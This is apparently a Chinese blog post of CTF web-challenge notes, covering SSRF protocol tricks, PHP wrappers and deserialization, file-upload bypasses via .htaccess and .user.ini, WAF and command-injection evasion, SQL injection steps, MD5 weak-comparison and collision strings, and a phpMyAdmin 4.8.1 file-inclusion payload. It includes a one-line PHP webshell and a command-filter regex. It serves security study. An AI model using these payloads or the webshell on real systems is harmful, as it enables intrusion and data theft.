web刷题总结(未完待续.......)

总结

一、HTTP类

1. Referer

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,

告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

2. X-Forwarded-For

​ 当今多数缓存服务器的使用者为大型ISP,为了通过缓存的方式来降低他们的外部带宽,他们常常通过鼓励或强制用户使用代理服务器来接入互联网。有些情况下, 这些代理服务器是透明代理, 用户甚至不知道自己正在使用代理上网。
​ 如果没有XFF或者另外一种相似的技术,所有通过代理服务器的连接只会显示代理服务器的IP地址(而非连接发起的原始IP地址), 这样的代理服务器实际上充当了匿名服务提供者的角色, 如果连接的原始IP地址不可得,恶意访问的检测与预防的难度将大大增加。XFF的有效性依赖于代理服务器提供的连接原始IP地址的真实性,因此, XFF的有效使用应该保证代理服务器是可信的, 比如可以通过建立可信服务器白名单的方式。

这一HTTP头一般格式如下:
X-Forwarded-For: client1, proxy1, proxy2, proxy3
其中的值通过一个 逗号+空格 把多个IP地址区分开, 最左边(client1)是最原始客户端的IP地址, 代理服务器每成功收到一个请求,就把请求来源IP地址添加到右边。 在上面这个例子中,这个请求成功通过了三台代理服务器:proxy1, proxy2 及 proxy3。请求由client1发出,到达了proxy3(proxy3可能是请求的终点)。请求刚从client1中发出时,XFF是空的,请求被发往proxy1;通过proxy1的时候,client1被添加到XFF中,之后请求被发往proxy2;通过proxy2的时候,proxy1被添加到XFF中,之后请求被发往proxy3;通过proxy3时,proxy2被添加到XFF中,之后请求的的去向不明,如果proxy3不是请求终点,请求会被继续转发。
鉴于伪造这一字段非常容易,应该谨慎使用X-Forwarded-For字段。正常情况下XFF中最后一个IP地址是最后一个代理服务器的IP地址, 这通常是一个比较可靠的信息来源。

3.协议

file://

可以尝试从文件系统中获取文件

常用路径:file:///var/www/html/flag.php

dict://

能够引用允许通过DICT协议使用的定义或单词列表

sftp://

在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

ldap://或ldaps:// 或ldapi://

LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

tftp://

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

gopher://

Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

使用方法:

将写好的数据包进行一次url编码

将里面的%0a替换为%0a%0d

然后再进行两次url编码

最后使用gopher协议发送请求
使用gopher协议时在url后加入一个字符(该字符可随意写)

例如:
http://192.168.0.109/ssrf/base/curl_exec.php?url=gopher://192.168.0.119:6666/_abc

二、PHP类

1. 后缀phtml

phtml可以替代php
.phtml是PHP 2程序的标准文件扩展名。 .php3接管了PHP 3.当PHP 4出来时,他们切换到直接.php。
较旧的文件扩展名有时仍被使用,但并不常见。
.phtml文件告诉网络服务器,这些文件是由服务器生成的带有动态内容的html文件,就像浏览器中的.php文件表现一样。 因此,在高效使用中,您应该体验到.phtml与.php文件没有任何区别。

一句话木马格式:

<script language="php">eval($_POST['shell']);</script> 

2. 反序列化

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            //global $flag;
            echo "success!!!!";
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}

$name=new Name("admin",100);
var_dump(serialize($name));
?>

序列化:serialize()

反序列化:unserialize()

TIPS:

public属性被序列化的时候属性值会变成属性名
protected属性被序列化的时候属性值会变成\x00*\x00属性名
private属性被序列化的时候属性值会变成\x00类名\x00属性名
其中:\x00表示空字符,但是还是占用一个字符位置

如果题目过滤了一些不可见字符,不要死板的使用protected或private属性,反序列化变量的类型是可控的,完全可以使用public代替他们。

绕过正则匹配,使用+号。 url编码为 %2b

__construct:构造方法,unserialize() 时不会直接调用
__destruct:析构方法,一定会执行的函数
__wakeup:执行unserialize() 时,会先调用这个函数

3. PHP伪协议

1) php://input

访问请求的原始数据的只读流,可以读取到来自POST的原始数据

格式:

http:/xxx/index.php?file=php://input

POST部分填数据

2) php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。

常用于读取网页源码:

http://XXX/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

read可去除
index.php?file=php://filter/convert.base64-encode/resource=index.php

3) phar://

phar://的用法类似于java的jar包,他是被打包好的文件,可以直接执行PHP代码

使用方法:

http://xxx/index.php?file=phar://upload/phar.gif

phar文件需要提前能上传至服务器

4) data://

此协议需要在双on的情况下才能使用,很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入

使用方法:

data://text/plain;base64,base64编码字符
http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

data://text/plain,字符
http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>

总结:

image

4. PHP中遇到的一些函数汇总(持续补充......)

echo():输出一个或多个字符串(能够输出一个以上的字符串)

print():输出一个或多个字符串(只能输出一个字符串,并始终返回 1)

var_dump(): 用于输出变量的相关信息(调试时多使用,也可以用来输出内容)

scandir():返回指定 目录中的文件和目录 的数组

file_get_contents():把整个文件读入一个字符串中,将文件的内容读入到一个字符串中的首选方法

file() :把整个文件读入一个数组中,数组中的每个单元都是文件中相应的一行,包括换行符在内。

readfile():输出一个文件

highlight_file():对文件进行语法高亮显示

show_source():对文件进行语法高亮显示,是 highlight_file()的别名

session_id():用来获取或设置当前会话 ID(cookie: PHPSESSID=flag.php)

session_start():会创建新会话或者重用现有会话(php默认是不主动使用session的)

hex2bin():把十六进制值转换为 ASCII 字符

localeconv() :返回一包含本地数字及货币格式信息的数组(而该数组第一项为一个点 . )

current():返回数组中的当前元素的值

pos():current()函数的别名

end():将内部指针指向数组中的最后一个元素,并输出

next():将内部指针指向数组中的下一个元素,并输出

prev():将内部指针指向数组中的上一个元素,并输出

reset():将内部指针指向数组中的第一个元素,并输出

each():返回当前元素的键名和键值,并将内部指针向前移动

array_reverse():以相反的元素顺序返回数组

array_flip():用于反转或交换数组中所有的键名以及它们关联的键值

array_rand():返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组

5.PHP函数中的一些漏洞

1)strcmp()漏洞

适用与5.3之前版本的php

int strcmp ( string $str1 , string $str2 )
参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,将return 0 !!!!

用法:
password[]=admin

三、文件上传

1. 常见文件头

JPEG (jpg),文件头:FFD8FF

PNG (png),文件头:89504E47

GIF (gif),文件头:47494638(GIF89a)

一般使用gif的文件头,因为他容易构造(不需要使用16进制修改),只需在文件头加上GIF89a

2. .htaccess

写法一:
AddType application/x-httpd-php .jpg

写法二:
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>

3. .user.ini

.user.ini中有两个配置,可以用来制造后门:auto_append_file、auto_prepend_file
前者指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数,后者类似,只是在文件后面包含。

使用方法:

auto_prepend_file=1.jpg

当我们访问此目录下的任何一个文件时,都会去包含1.jpg

小tips:

扫描根目录:a=var_dump(scandir("/"));

打印:a=var_dump(file_get_contents("/flag"));

4. 0x00截断

0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。这个可以用在对文件类型名的绕过上。

四、WAF绕过姿势

1. 变量前加空格

​ PHP在解析时,会将空格自动去除,但waf此时已经找不到对应的变量了,从而实现绕过

2. 关键字绕过

​ 用char()转ascii再进行拼接

​ 自动转chr脚本:

keyword=input("请输入需要转ASCII码的字符:")
result=[]

for i in range(0, len(keyword)):
    print(keyword[i],"的ASCII码为:",ord(keyword[i]))
    result.insert(i,"chr(%d"%(ord(keyword[i]))+")")

print("结果为:")
print(".".join(result))

字符串拼接绕过

?ip=1;a=g;cat fla$a.php;

base64绕过

?ip=1;echo Y2F0IGZsYWcucGhw|base64 -d|sh
?ip=1;echo Y2F0IGZsYWcucGhw|base64 -d|bash

sh 遵循POSIX规范:“当某行代码出错时,不继续往下解释”。bash 就算出错,也会继续向下执行

反斜杠绕过

preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)

使用反斜杠\ 可以通过上面的正则匹配,如:

l\s

ca\t

\

反斜杠在Linux中一般不会影响命令的执行

image

3. 空格绕过

${IFS} (IFS为分隔符)

$IFS$1

${IFS

{IFS}

IFS

%20 (URL空格space)

<和<> 重定向符

%09 (URL 制表符tab)

4. 内联执行绕过

内联:就是将反引号内命令的输出作为输入执行。

ip=127.0.0.1;cat `ls`

5. 特殊数字绕过

例如:127.0.0.1的点分十进制被ban了

就改成16进制:0x7f000001

五、SQL注入

1. 一般注入步骤

查数据库名

-1 union select 1,database()

show databases;

查表名

-1 union select 1,group_concat(table_name) FROM information_schema.tables where table_schema='sqli'

show tables;

查字段名

-1 union select 1,group_concat(COLUMN_NAME) FROM information_schema.COLUMNS where TABLE_NAME='flag'

show columns from (表名)
desc (表名)

查值

-1 union select 1, flag FROM flag 

2. 其他注入姿势

改名法

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);

预编译法

-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;

报错注入法

注:报错注入的报错显示长度有限制,有时需要分几次来查询,用的函数可能有

substr(sql查询语句,开始位置,长度)

right(sql查询语句,30)

left(sql查询语句,30)

例如:

updatexml(1,concat('~',(select right(group_concat(data),30) FROM users),'~'),1)

HANDLER

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#
# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]

# 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]

# 2、通过索引查看表
# FIRST: 获取第一行(索引最小的一行)
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行(索引最大的一行)
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]

# 3、不通过索引查看表
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

# 关闭已打开的句柄
HANDLER tbl_name CLOSE

六、目录扫描

注意状态码,如果出现429状态码表示请求太多,此时应该需要设置延迟

1. 御剑扫描

2. dirsearch

常用命令:

-u:设置URL

-e:设置网站语言(php,jsp......)

-s DELAY, --delay=DELAY:设置请求之间的延时

-c COOKIE, --cookie=COOKIE:设置cookie

所有命令:

-h, --help 查看帮助
-u URL, --url=URL 设置url
-L URLLIST, --url-list=URLLIST 设置url列表
-e EXTENSIONS, --extensions=EXTENSIONS 网站脚本类型
-w WORDLIST, --wordlist=WORDLIST 设置字典
-l, --lowercase 小写
-f, --force-extensions 强制扩展字典里的每个词条
-s DELAY, --delay=DELAY 设置请求之间的延时
-r, --recursive Bruteforce recursively 递归地扫描
–scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS 扫描给定的url的子目录(用逗号隔开)
–exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS 在递归过程中排除指定的子目录扫描(用逗号隔开)
-t THREADSCOUNT, --threads=THREADSCOUNT 设置扫描线程
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES 排除指定的网站状态码(用逗号隔开)
-c COOKIE, --cookie=COOKIE 设置cookie
–ua=USERAGENT, --user-agent=USERAGENT 设置用户代理
-F, --follow-redirects 跟随地址重定向扫描
-H HEADERS, --header=HEADERS 设置请求头
–random-agents, --random-user-agents 设置随机代理
–timeout=TIMEOUT 设置超时时间
–ip=IP 设置代理IP地址
–proxy=HTTPPROXY, --http-proxy=HTTPPROXY 设置http代理。例如127.0.0.1:8080
–max-retries=MAXRETRIES 设置最大的重试次数
-b, --request-by-hostname 通过主机名请求速度,默认通过IP
–simple-report=SIMPLEOUTPUTFILE 保存结果,发现的路径
–plain-text-report=PLAINTEXTOUTPUTFILE 保存结果,发现的路径和状态码
–json-report=JSONOUTPUTFILE 以json格式保存结果

3. git泄露

使用工具githack

注意事项:

  1. python版本最好为2.7.9,使用命令python2或python2.7(python3会报语法错误)
  2. 后面的参数是一个Git泄露的地址,这个地址前必须要加http://,否则会报错

七、文件备份

1. 网站源码备份

常见后缀:tar、tar.gz、zip、rar

常见文件名:web、website、backup、back、www、wwwroot、temp

2. bak文件

直接在文件名尾加.bak

3. vim缓存

注意文件名前面的点代表隐藏文件

.index.php.swp:异常关闭时自动生成

.index.php.swo:再次异常关闭时生成

.index.php.swn:再再次异常关闭时生成

八、加密类

1. MD5加密

奇妙字符串:ffifdyop

经过md5加密后:276f722736c95d99e921722cf9ed621c

再转换为字符串:'or'6<乱码>  即  'or'66�]��!r,��b

用途:

select * from admin where password=''or'6<乱码>'

就相当于select * from admin where password=''or 1  实现sql注入

md5(string,raw)

参数 描述
string 必需。规定要计算的字符串。
raw 可选。规定十六进制或二进制输出格式:·TRUE - 原始 16 字符二进制格式 ·FALSE - 默认。32 字符十六进制数

MD5弱类型(弱比较)

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

s1184209335a
0e072485820392773389523109082030

s1665632922a
0e731198061491163073197128363787

s1502113478a
0e861580163291561247404381396064

s1836677006a
0e481036490867661113260034900752

s1091221200a
0e940624217856561557816327384675

s155964671a
0e342768416822451524974117254469

s1502113478a
0e861580163291561247404381396064

s155964671a
0e342768416822451524974117254469

s1665632922a
0e731198061491163073197128363787

s155964671a
0e342768416822451524974117254469

s1091221200a
0e940624217856561557816327384675

s1836677006a
0e481036490867661113260034900752

s1885207154a
0e509367213418206700842008763514

s532378020a
0e220463095855511507588041205815

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s214587387a
0e848240448830537924465865611904

s1502113478a
0e861580163291561247404381396064

s1091221200a
0e940624217856561557816327384675

s1665632922a
0e731198061491163073197128363787

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s1665632922a
0e731198061491163073197128363787 

s878926199a
0e545993274517709034328855841020

MD5强碰撞(强比较)

强比较(数组绕过)

如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,而且不会报错,就会得到===强比较的值相等

例如:

param1[]=111&param2[]=222

强碰撞
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

2. 区分base32和base64

base64中包含大写字母(A-Z),小写字母(a-z),数字0—9以及+/;

base32中只包含大写字母(A-Z)和数字234567

九、RCE

1. 无参rce

无参数RCE,就是通过没有参数的函数达到命令执行的目的。

示例代码:

<?php
	if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['exp'])) { 
 		     eval($_GET['exp']);
	}
?>
正则匹配:
    [^\W]:表示匹配包括下划线的任何单词字符, ^ 表示文本开头
    (?R)?:递归匹配		类似于 a(b(c()))

作用就是将格式类似于 abc() 这样的字符替换为空,如果替换完后只剩下一个分号,就执行命令。

比如传入a(b(c()));,第一次匹配后,就剩a(b());,再匹配两次,就只剩下了 ; ,最后a(b(c()))就会被eval执行。

但一旦函数中包含了参数,最后的替换结果就不会只剩下分号,导致命令也不会执行。

十、漏洞利用

1. PHPmyadmin (4.8.1)

该版本中存在本地文件包含漏洞LFI(Local File Include)

具体解析:https://www.jianshu.com/p/fb9c2ae16d09

直接利用payload:

http://127.0.0.1/phpmyadmin/index.php?
target=db_datadict.php%253f/../../../../../../../../etc/passwd
posted @ 2021-10-02 09:04  Sentry_fei  阅读(141)  评论(0编辑  收藏  举报